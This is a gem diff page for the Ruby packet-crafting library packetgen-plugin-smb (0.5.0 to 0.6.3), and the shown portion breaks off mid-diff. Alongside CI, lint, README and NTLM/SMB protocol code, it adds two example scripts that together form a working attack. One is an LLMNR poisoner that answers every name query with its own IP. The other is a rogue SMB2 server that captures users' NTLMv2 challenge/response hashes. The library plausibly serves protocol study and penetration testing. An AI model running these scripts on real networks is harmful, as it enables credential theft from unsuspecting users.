packetgen-plugin-smb 0.5.0 → 0.6.3
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/specs.yml +28 -0
- data/.rubocop.yml +26 -2
- data/Gemfile +15 -0
- data/README.md +51 -12
- data/Rakefile +10 -4
- data/examples/llmnr-responder +110 -0
- data/examples/smb-responder +233 -0
- data/lib/packetgen/plugin/gssapi.rb +16 -10
- data/lib/packetgen/plugin/llmnr.rb +4 -4
- data/lib/packetgen/plugin/netbios/datagram.rb +3 -3
- data/lib/packetgen/plugin/netbios/name.rb +4 -4
- data/lib/packetgen/plugin/netbios/session.rb +5 -5
- data/lib/packetgen/plugin/netbios.rb +2 -0
- data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
- data/lib/packetgen/plugin/ntlm/av_pair.rb +115 -0
- data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
- data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
- data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
- data/lib/packetgen/plugin/ntlm.rb +211 -0
- data/lib/packetgen/plugin/smb/blocks.rb +2 -2
- data/lib/packetgen/plugin/smb/browser/domain_announcement.rb +2 -2
- data/lib/packetgen/plugin/smb/browser/host_announcement.rb +2 -2
- data/lib/packetgen/plugin/smb/browser/local_master_announcement.rb +2 -2
- data/lib/packetgen/plugin/smb/browser.rb +2 -2
- data/lib/packetgen/plugin/smb/close/request.rb +2 -2
- data/lib/packetgen/plugin/smb/close/response.rb +2 -2
- data/lib/packetgen/plugin/smb/close.rb +2 -2
- data/lib/packetgen/plugin/smb/filetime.rb +10 -2
- data/lib/packetgen/plugin/smb/negotiate/dialect.rb +7 -0
- data/lib/packetgen/plugin/smb/negotiate/request.rb +7 -0
- data/lib/packetgen/plugin/smb/negotiate/response.rb +9 -3
- data/lib/packetgen/plugin/smb/negotiate.rb +2 -2
- data/lib/packetgen/plugin/smb/nt_create_and_x.rb +2 -2
- data/lib/packetgen/plugin/smb/ntcreateandx/request.rb +4 -4
- data/lib/packetgen/plugin/smb/ntcreateandx/response.rb +2 -2
- data/lib/packetgen/plugin/smb/string.rb +60 -23
- data/lib/packetgen/plugin/smb/trans/request.rb +3 -3
- data/lib/packetgen/plugin/smb/trans/response.rb +2 -2
- data/lib/packetgen/plugin/smb/trans.rb +2 -2
- data/lib/packetgen/plugin/smb.rb +12 -12
- data/lib/packetgen/plugin/smb2/base.rb +3 -3
- data/lib/packetgen/plugin/smb2/error.rb +3 -4
- data/lib/packetgen/plugin/smb2/guid.rb +4 -3
- data/lib/packetgen/plugin/smb2/negotiate/context.rb +3 -3
- data/lib/packetgen/plugin/smb2/negotiate/request.rb +3 -5
- data/lib/packetgen/plugin/smb2/negotiate/response.rb +9 -7
- data/lib/packetgen/plugin/smb2/negotiate.rb +2 -2
- data/lib/packetgen/plugin/smb2/session_setup/request.rb +9 -5
- data/lib/packetgen/plugin/smb2/session_setup/response.rb +10 -6
- data/lib/packetgen/plugin/smb2/session_setup.rb +2 -2
- data/lib/packetgen/plugin/smb2.rb +3 -3
- data/lib/packetgen/plugin/smb_version.rb +3 -1
- data/lib/packetgen-plugin-smb.rb +3 -2
- data/packetgen-plugin-smb.gemspec +8 -10
- metadata +21 -84
- data/.travis.yml +0 -12
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 81c44249205f74086ef6aa53ed5bae0b9cc4d988cbc32ed6280c389e222dfaa6
|
4
|
+
data.tar.gz: fa0c225d0bac37bf479969a2bd2a968309aacb1eb06d986d5784c99bde35575e
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 6f6834ace18bbb690025a2856be929abfa8355e218eaa66e67c76cbd0ce3711a55836d99a77d5a598d36a433b6c6ae0355103a91a726520f7204aa7494e40359
|
7
|
+
data.tar.gz: 6e87dddb4fcf4e5e4c6e534402321bc11d8e1c53b4f1fcba535ccf443ea42f6a17c1ed9935108cd066cc7fb522064f9ba43aff3b3e0aa49589ef58b0e67987b8
|
@@ -0,0 +1,28 @@
|
|
1
|
+
name: Specs
|
2
|
+
on:
|
3
|
+
push:
|
4
|
+
branches: [ master ]
|
5
|
+
pull_request:
|
6
|
+
branches: [ master ]
|
7
|
+
jobs:
|
8
|
+
test:
|
9
|
+
strategy:
|
10
|
+
fail-fast: false
|
11
|
+
matrix:
|
12
|
+
os: [ubuntu-latest]
|
13
|
+
ruby: ['2.5', '2.6', '2.7', '3.0', '3.1']
|
14
|
+
runs-on: ${{ matrix.os }}
|
15
|
+
steps:
|
16
|
+
- uses: actions/checkout@v2
|
17
|
+
- name: Install dependencies
|
18
|
+
run: sudo apt-get update -qq && sudo apt-get install libpcap-dev -qq
|
19
|
+
- name: Set up Ruby
|
20
|
+
uses: ruby/setup-ruby@v1
|
21
|
+
with:
|
22
|
+
ruby-version: ${{ matrix.ruby }}
|
23
|
+
- name: Run tests
|
24
|
+
run: |
|
25
|
+
bundle config set path 'vendor/bundle'
|
26
|
+
bundle config set --local without noci
|
27
|
+
bundle install
|
28
|
+
bundle exec rake
|
data/.rubocop.yml
CHANGED
@@ -1,15 +1,39 @@
|
|
1
|
+
require:
|
2
|
+
- rubocop-performance
|
3
|
+
AllCops:
|
4
|
+
TargetRubyVersion: '2.5'
|
5
|
+
NewCops: enable
|
6
|
+
Exclude:
|
7
|
+
- .git/**/*
|
8
|
+
- spec/**/*
|
9
|
+
- vendor/**/*
|
10
|
+
Layout/LineLength:
|
11
|
+
Enabled: false
|
1
12
|
Layout/SpaceAroundEqualsInParameterDefault:
|
2
13
|
EnforcedStyle: no_space
|
3
14
|
Lint/EmptyWhen:
|
4
15
|
Enabled: false
|
5
16
|
Lint/Void:
|
6
17
|
Enabled: false
|
7
|
-
Metrics:
|
18
|
+
Metrics/AbcSize:
|
19
|
+
Max: 20
|
20
|
+
Metrics/ClassLength:
|
21
|
+
Max: 200
|
22
|
+
Metrics/MethodLength:
|
23
|
+
Max: 20
|
24
|
+
Metrics/ParameterLists:
|
25
|
+
MaxOptionalParameters: 4
|
26
|
+
Naming/FileName:
|
27
|
+
Enabled: false
|
28
|
+
Style/AccessModifierDeclarations:
|
8
29
|
Enabled: false
|
9
30
|
Style/AsciiComments:
|
10
31
|
Enabled: false
|
11
32
|
Style/ClassAndModuleChildren:
|
12
33
|
Enabled: false
|
34
|
+
Style/Documentation:
|
35
|
+
# Too many false positives!
|
36
|
+
Enabled: false
|
13
37
|
Style/Encoding:
|
14
38
|
Enabled: false
|
15
39
|
Style/EvalWithLocation:
|
@@ -17,7 +41,7 @@ Style/EvalWithLocation:
|
|
17
41
|
Style/FormatString:
|
18
42
|
EnforcedStyle: percent
|
19
43
|
Style/FormatStringToken:
|
20
|
-
|
44
|
+
MaxUnannotatedPlaceholdersAllowed: 3
|
21
45
|
Style/PerlBackrefs:
|
22
46
|
Enabled: false
|
23
47
|
Style/RedundantSelf:
|
data/Gemfile
CHANGED
@@ -1,3 +1,18 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
source 'https://rubygems.org'
|
2
4
|
|
3
5
|
gemspec
|
6
|
+
|
7
|
+
gem 'bundler', '>=1.17', '<3'
|
8
|
+
gem 'rake', '~> 12.3'
|
9
|
+
gem 'rspec', '~> 3.10'
|
10
|
+
|
11
|
+
group :noci do
|
12
|
+
gem 'debase', '~>0.2'
|
13
|
+
gem 'rubocop', '~> 1.6.0'
|
14
|
+
gem 'rubocop-performance', '~> 1.9'
|
15
|
+
gem 'ruby-debug-ide', '~> 0.7'
|
16
|
+
gem 'simplecov', '~> 0.18'
|
17
|
+
gem 'yard', '~> 0.9'
|
18
|
+
end
|
data/README.md
CHANGED
@@ -1,22 +1,26 @@
|
|
1
1
|
[![Gem Version](https://badge.fury.io/rb/packetgen-plugin-smb.svg)](https://badge.fury.io/rb/packetgen-plugin-smb)
|
2
|
-
[![Build Status](https://travis-ci.com/sdaubert/packetgen-plugin-smb.svg?branch=master)](https://travis-ci.com/sdaubert/packetgen-plugin-smb)
|
3
2
|
|
4
3
|
# Packetgen::Plugin::SMB
|
5
4
|
|
6
5
|
This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite:
|
7
6
|
|
7
|
+
* NetBIOS:
|
8
|
+
* Datagram service,
|
9
|
+
* Session service,
|
8
10
|
* SMB:
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
11
|
+
* SMB common header,
|
12
|
+
* Negotiate command,
|
13
|
+
* Close command,
|
14
|
+
* NtCreateAndX command,
|
15
|
+
* Trans command,
|
16
|
+
* Browser subprotocol,
|
14
17
|
* SMB2:
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
* GSSAPI, used to transport negotiation over SMB2 commands
|
19
|
-
|
18
|
+
* SMB2 common header (support 2.x and 3.x dialects),
|
19
|
+
* Negotiate command,
|
20
|
+
* SessionSetup command,
|
21
|
+
* GSSAPI, used to transport negotiation over SMB2 commands,
|
22
|
+
* NTLM, SMB authentication protocol,
|
23
|
+
* LLMNR (_Link-Local Multicast Name Resolution_), resolution protocol used in SMB networks.
|
20
24
|
|
21
25
|
## Installation
|
22
26
|
|
@@ -36,7 +40,42 @@ Or install it yourself as:
|
|
36
40
|
|
37
41
|
## Usage
|
38
42
|
|
39
|
-
|
43
|
+
### SMB2 with NTLM negociation
|
44
|
+
|
45
|
+
See [examples/smb-responder](/examples/smb-responder).
|
46
|
+
|
47
|
+
### LLMNR
|
48
|
+
|
49
|
+
LLMNR is a multicast protocol. Unless you want to have a fine control on UDP layer, the simplest way is to use it over a UDP ruby socket:
|
50
|
+
|
51
|
+
```ruby
|
52
|
+
require 'socket'
|
53
|
+
require 'packetgen'
|
54
|
+
require 'packetgen-plugin-smb'
|
55
|
+
|
56
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
57
|
+
LOCAL_IPADDR = 'x.x.x.x' # your IP
|
58
|
+
|
59
|
+
# Open a UDP socket
|
60
|
+
socket = UDPSocket.new
|
61
|
+
# Bind it to receive LLMNR response packets
|
62
|
+
socket.bind(LOCAL_IPADDR, 0)
|
63
|
+
|
64
|
+
# Send a LLMNR query
|
65
|
+
query = PacketGen.gen('LLMNR', id: 0x1234, opcode: 'query')
|
66
|
+
query.llmnr.qd << { rtype: 'Question', name: 'example.local' }
|
67
|
+
socket.send(query.to_s, 0, LLMNR_MCAST_ADDR, PacketGen::Plugin::LLMNR::UDP_PORT)
|
68
|
+
|
69
|
+
# Get answer
|
70
|
+
# data = socket.recv(1024)
|
71
|
+
data, peer = socket.recvfrom(1024)
|
72
|
+
answer = PacketGen.parse(data, first_header: 'LLMNR')
|
73
|
+
example_local_ip = answer.llmnr.an.to_a
|
74
|
+
.find { |an| an.is_a?(PacketGen::Header::DNS::RR) }.human_rdata
|
75
|
+
puts example_local_ip
|
76
|
+
```
|
77
|
+
|
78
|
+
You have to manage multicast if you want to make a LLMNR responder. For further details, see [examples/llmnr-responder](/examples/llmnr-responder).
|
40
79
|
|
41
80
|
## See also
|
42
81
|
|
data/Rakefile
CHANGED
@@ -1,13 +1,19 @@
|
|
1
|
+
# frozen_string_literal: true
|
1
2
|
|
2
3
|
require 'bundler/gem_tasks'
|
3
4
|
require 'rspec/core/rake_task'
|
4
|
-
require 'yard'
|
5
5
|
|
6
6
|
task default: :spec
|
7
7
|
|
8
8
|
RSpec::Core::RakeTask.new
|
9
9
|
|
10
|
-
|
11
|
-
|
12
|
-
|
10
|
+
begin
|
11
|
+
require 'yard'
|
12
|
+
|
13
|
+
YARD::Rake::YardocTask.new do |t|
|
14
|
+
t.options = ['--no-private']
|
15
|
+
t.files = ['lib/**/*.rb', '-', 'LICENSE']
|
16
|
+
end
|
17
|
+
rescue LoadError
|
18
|
+
# no yard, so no yard task
|
13
19
|
end
|
@@ -0,0 +1,110 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a LLMNR responder. It responds to all LLMNR
|
8
|
+
# requests on local network, and says requested name is its IP address.
|
9
|
+
|
10
|
+
# frozen_string_literal: true
|
11
|
+
|
12
|
+
require 'optparse'
|
13
|
+
require 'socket'
|
14
|
+
require 'ipaddr'
|
15
|
+
|
16
|
+
require 'packetgen'
|
17
|
+
require 'packetgen-plugin-smb'
|
18
|
+
|
19
|
+
BIND_ADDR = '0.0.0.0'
|
20
|
+
|
21
|
+
class LlmnrResponder
|
22
|
+
attr_reader :socket, :my_ip, :my_ip_data
|
23
|
+
|
24
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
25
|
+
|
26
|
+
def initialize
|
27
|
+
@socket = UDPSocket.new
|
28
|
+
end
|
29
|
+
|
30
|
+
def start(bind_addr:, iface:)
|
31
|
+
@my_ip = Interfacez.ipv4_address_of(iface)
|
32
|
+
@my_ip_data = IPAddr.new(my_ip).hton
|
33
|
+
configure_multicast(my_ip_data)
|
34
|
+
|
35
|
+
socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
|
36
|
+
|
37
|
+
start_loop
|
38
|
+
end
|
39
|
+
|
40
|
+
private
|
41
|
+
|
42
|
+
def log(str)
|
43
|
+
puts "[LLMNR] #{str}"
|
44
|
+
end
|
45
|
+
|
46
|
+
def configure_multicast(local_ip_bin)
|
47
|
+
mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
|
48
|
+
socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
|
49
|
+
end
|
50
|
+
|
51
|
+
def start_loop
|
52
|
+
loop do
|
53
|
+
data, peer = socket.recvfrom(1024)
|
54
|
+
pkt = PacketGen.parse(data, first_header: 'LLMNR')
|
55
|
+
next unless pkt.is?('LLMNR')
|
56
|
+
|
57
|
+
peer_port = peer[1]
|
58
|
+
peer_ip = peer[3]
|
59
|
+
log "received LLMNR request from #{peer_ip}"
|
60
|
+
|
61
|
+
# Forge LLMNR response
|
62
|
+
response_pkt = pkt.reply
|
63
|
+
response_pkt.llmnr.qr = true
|
64
|
+
response_pkt.llmnr.qd.each do |question|
|
65
|
+
next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
|
66
|
+
|
67
|
+
log "Say to #{peer_ip} #{question.name} is #{my_ip}"
|
68
|
+
answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
|
69
|
+
response_pkt.llmnr.an << answer
|
70
|
+
end
|
71
|
+
response_pkt.calc
|
72
|
+
|
73
|
+
next unless response_pkt.llmnr.ancount > 0
|
74
|
+
|
75
|
+
socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
|
76
|
+
end
|
77
|
+
end
|
78
|
+
end
|
79
|
+
|
80
|
+
def parse_options
|
81
|
+
options = {}
|
82
|
+
|
83
|
+
OptionParser.new do |opts|
|
84
|
+
opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
|
85
|
+
opts.separator ''
|
86
|
+
opts.separator 'Options:'
|
87
|
+
|
88
|
+
opts.on_tail('-h', '--help', 'Show this message') do
|
89
|
+
puts opts
|
90
|
+
exit
|
91
|
+
end
|
92
|
+
|
93
|
+
opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
|
94
|
+
options[:iface] = iface
|
95
|
+
end
|
96
|
+
end.parse!
|
97
|
+
|
98
|
+
options
|
99
|
+
end
|
100
|
+
|
101
|
+
def check_options(options)
|
102
|
+
raise 'No interface given' if options[:iface].nil?
|
103
|
+
raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
|
104
|
+
end
|
105
|
+
|
106
|
+
options = parse_options
|
107
|
+
|
108
|
+
check_options options
|
109
|
+
|
110
|
+
LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
|
@@ -0,0 +1,233 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a SMB responder. It responds to all SMB
|
8
|
+
# Negotiate request to capture credentials.
|
9
|
+
# Before running it (as root), llmnr-responder should be running.
|
10
|
+
|
11
|
+
# frozen_string_literal: true
|
12
|
+
|
13
|
+
require 'socket'
|
14
|
+
require 'securerandom'
|
15
|
+
require 'ostruct'
|
16
|
+
|
17
|
+
require 'packetgen'
|
18
|
+
require 'packetgen-plugin-smb'
|
19
|
+
|
20
|
+
BIND_ADDR = '0.0.0.0'
|
21
|
+
|
22
|
+
DOMAIN_NAME = 'SMB3'
|
23
|
+
COMPUTER_NAME = 'WIN-AZE546CFHTD'
|
24
|
+
|
25
|
+
Thread.abort_on_exception = true
|
26
|
+
|
27
|
+
Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
|
28
|
+
def to_s
|
29
|
+
user = self.user.encode('UTF-8')
|
30
|
+
computer = self.computer.encode('UTF-8')
|
31
|
+
str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
|
32
|
+
str << "Challenge: #{challenge}\nProof: #{proof}\n"
|
33
|
+
str << "Response: #{response}"
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
class Smb2Responder
|
38
|
+
attr_reader :socket, :guid, :salt
|
39
|
+
|
40
|
+
NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
|
41
|
+
STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
|
42
|
+
STATUS_ACCESS_DENIED = 0xc0000022
|
43
|
+
|
44
|
+
SMB2_SIZE = 8_388_608
|
45
|
+
SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
|
46
|
+
SMB2_SALT_LEN = 32
|
47
|
+
|
48
|
+
def initialize
|
49
|
+
@guid = SecureRandom.uuid
|
50
|
+
@salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
|
51
|
+
end
|
52
|
+
|
53
|
+
def start(bind_addr:)
|
54
|
+
@socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
|
55
|
+
|
56
|
+
start_loop
|
57
|
+
end
|
58
|
+
|
59
|
+
private
|
60
|
+
|
61
|
+
def log(str)
|
62
|
+
puts "[SMB2] #{str}"
|
63
|
+
end
|
64
|
+
|
65
|
+
def get_smb_data(sock)
|
66
|
+
PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
|
67
|
+
end
|
68
|
+
|
69
|
+
def smb2_nego_resp1
|
70
|
+
return @resp1_pkt if defined? @resp1_pkt
|
71
|
+
|
72
|
+
@resp1_pkt = PacketGen.gen('NetBIOS::Session')
|
73
|
+
.add('SMB2', credit: 1)
|
74
|
+
.add('SMB2::Negotiate::Response',
|
75
|
+
dialect: 0x2ff,
|
76
|
+
server_guid: guid, capabilities: 7,
|
77
|
+
max_trans_size: SMB2_SIZE,
|
78
|
+
max_read_size: SMB2_SIZE,
|
79
|
+
max_write_size: SMB2_SIZE)
|
80
|
+
@resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
|
81
|
+
@resp1_pkt.calc
|
82
|
+
@resp1_pkt
|
83
|
+
end
|
84
|
+
|
85
|
+
def first_nego_response
|
86
|
+
pkt = smb2_nego_resp1
|
87
|
+
pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
|
88
|
+
pkt
|
89
|
+
end
|
90
|
+
|
91
|
+
def second_nego_response(req_pkt)
|
92
|
+
smb2_req = req_pkt.smb2
|
93
|
+
nego_req = req_pkt.smb2_negotiate_request
|
94
|
+
|
95
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
96
|
+
.add('SMB2',
|
97
|
+
credit: 1,
|
98
|
+
message_id: smb2_req.message_id,
|
99
|
+
reserved: smb2_req.reserved)
|
100
|
+
.add('SMB2::Negotiate::Response',
|
101
|
+
dialect: nego_req.dialects.last,
|
102
|
+
server_guid: guid,
|
103
|
+
capabilities: 0x2f,
|
104
|
+
max_trans_size: SMB2_SIZE,
|
105
|
+
max_read_size: SMB2_SIZE,
|
106
|
+
max_write_size: SMB2_SIZE,
|
107
|
+
system_time: PacketGen::Plugin::SMB::Filetime.now,
|
108
|
+
buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
|
109
|
+
|
110
|
+
pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
|
111
|
+
pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
|
112
|
+
|
113
|
+
pkt.smb2_negotiate_response.context_list << { type: 2 }
|
114
|
+
pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
|
115
|
+
pkt.calc
|
116
|
+
pkt
|
117
|
+
end
|
118
|
+
|
119
|
+
def first_session_setup_response(req_pkt)
|
120
|
+
smb2_req = req_pkt.smb2
|
121
|
+
setup_req = req_pkt.smb2_sessionsetup_request
|
122
|
+
ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
|
123
|
+
|
124
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
125
|
+
.add('SMB2',
|
126
|
+
credit_charge: 1,
|
127
|
+
credit: 1,
|
128
|
+
status: STATUS_MORE_PROCESSING_REQUIRED,
|
129
|
+
message_id: smb2_req.message_id,
|
130
|
+
reserved: smb2_req.reserved)
|
131
|
+
.add('SMB2::SessionSetup::Response')
|
132
|
+
|
133
|
+
ntlm = PacketGen::Plugin::NTLM::Challenge.new
|
134
|
+
ntlm.flags = ntlm_nego.flags | 0x00810000
|
135
|
+
ntlm.flags &= 0xfdffff15
|
136
|
+
ntlm.challenge = [rand(2**64)].pack('q<')
|
137
|
+
ntlm.target_name.read('SMB3')
|
138
|
+
ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
|
139
|
+
ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
|
140
|
+
ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
|
141
|
+
ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
|
142
|
+
ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
|
143
|
+
ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
|
144
|
+
ntlm.target_info << { type: 'EOL' }
|
145
|
+
ntlm.calc_length
|
146
|
+
|
147
|
+
gssapi = pkt.smb2_sessionsetup_response.buffer
|
148
|
+
gssapi[:token_resp][:response].value = ntlm.to_s
|
149
|
+
gssapi[:token_resp][:negstate].value = 'accept-incomplete'
|
150
|
+
gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
|
151
|
+
|
152
|
+
pkt.calc
|
153
|
+
|
154
|
+
[pkt, ntlm.challenge]
|
155
|
+
end
|
156
|
+
|
157
|
+
def deny_access(req_pkt)
|
158
|
+
smb2_req = req_pkt.smb2
|
159
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
160
|
+
.add('SMB2',
|
161
|
+
credit: 1,
|
162
|
+
credit_charge: 1,
|
163
|
+
status: STATUS_ACCESS_DENIED,
|
164
|
+
message_id: smb2_req.message_id,
|
165
|
+
reserved: smb2_req.reserved)
|
166
|
+
.add('SMB2::SessionSetup::Response')
|
167
|
+
# Remove buffer
|
168
|
+
pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
|
169
|
+
pkt.calc
|
170
|
+
pkt
|
171
|
+
end
|
172
|
+
|
173
|
+
def start_loop
|
174
|
+
loop do
|
175
|
+
client = socket.accept
|
176
|
+
to_close = false
|
177
|
+
|
178
|
+
log "connection from #{client.peeraddr[2]}"
|
179
|
+
|
180
|
+
credentials = Credentials.new
|
181
|
+
credentials.ip = client.peeraddr.last
|
182
|
+
|
183
|
+
until to_close
|
184
|
+
rcv_pkt = get_smb_data(client)
|
185
|
+
|
186
|
+
pkt_to_send = case rcv_pkt.headers.last.protocol_name
|
187
|
+
when 'SMB::Negotiate::Request'
|
188
|
+
unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
|
189
|
+
to_close = true
|
190
|
+
nil
|
191
|
+
end
|
192
|
+
|
193
|
+
first_nego_response
|
194
|
+
|
195
|
+
when 'SMB2::Negotiate::Request'
|
196
|
+
second_nego_response rcv_pkt
|
197
|
+
|
198
|
+
when 'SMB2::SessionSetup::Request'
|
199
|
+
gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
|
200
|
+
if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
|
201
|
+
pkt, challenge = first_session_setup_response(rcv_pkt)
|
202
|
+
credentials.challenge = binary2hex(challenge)
|
203
|
+
pkt
|
204
|
+
else
|
205
|
+
response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
|
206
|
+
if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
|
207
|
+
credentials.proof = binary2hex(response.nt_response.response)
|
208
|
+
credentials.user = response.user_name
|
209
|
+
credentials.computer = response.workstation
|
210
|
+
credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
|
211
|
+
to_close = true
|
212
|
+
deny_access rcv_pkt
|
213
|
+
else
|
214
|
+
to_close = true
|
215
|
+
nil
|
216
|
+
end
|
217
|
+
end
|
218
|
+
end
|
219
|
+
|
220
|
+
client.send(pkt_to_send.to_s, 0) if pkt_to_send
|
221
|
+
client.close if to_close
|
222
|
+
|
223
|
+
puts credentials.to_s unless credentials.response.nil?
|
224
|
+
end
|
225
|
+
end
|
226
|
+
end
|
227
|
+
|
228
|
+
def binary2hex(str)
|
229
|
+
str.unpack('H*').first
|
230
|
+
end
|
231
|
+
end
|
232
|
+
|
233
|
+
Smb2Responder.new.start(bind_addr: BIND_ADDR)
|
@@ -1,10 +1,10 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of packetgen-plugin-smb.
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
require 'rasn1'
|
9
9
|
|
10
10
|
module PacketGen::Plugin
|
@@ -61,6 +61,8 @@ module PacketGen::Plugin
|
|
61
61
|
# gssapi[:token_resp][:response] #=> RASN1::Types::OctetString
|
62
62
|
# @author Sylvain Daubert
|
63
63
|
class GSSAPI < RASN1::Model
|
64
|
+
include PacketGen::Types::Fieldable
|
65
|
+
|
64
66
|
# GSS API Negotiation Token Init
|
65
67
|
#
|
66
68
|
# A GSSAPI Negotiation Token Init is a ASN.1 SEQUENCE, explicitly tagged 0,
|
@@ -94,14 +96,18 @@ module PacketGen::Plugin
|
|
94
96
|
octet_string(:mech_list_mic, explicit: 3, class: :context, constructed: true, optional: true)]
|
95
97
|
end
|
96
98
|
|
99
|
+
class NegTokenInitEnvelop < RASN1::Model
|
100
|
+
sequence(:init, implicit: 0, class: :application,
|
101
|
+
content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
|
102
|
+
model(:token_init, NegTokenInit)])
|
103
|
+
end
|
104
|
+
|
97
105
|
choice :gssapi,
|
98
|
-
content: [
|
99
|
-
content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
|
100
|
-
model(:token_init, NegTokenInit)]),
|
106
|
+
content: [model(:init_env, NegTokenInitEnvelop),
|
101
107
|
model(:token_resp, NegTokenResp)]
|
102
108
|
|
103
109
|
# @param [Hash] args
|
104
|
-
# @
|
110
|
+
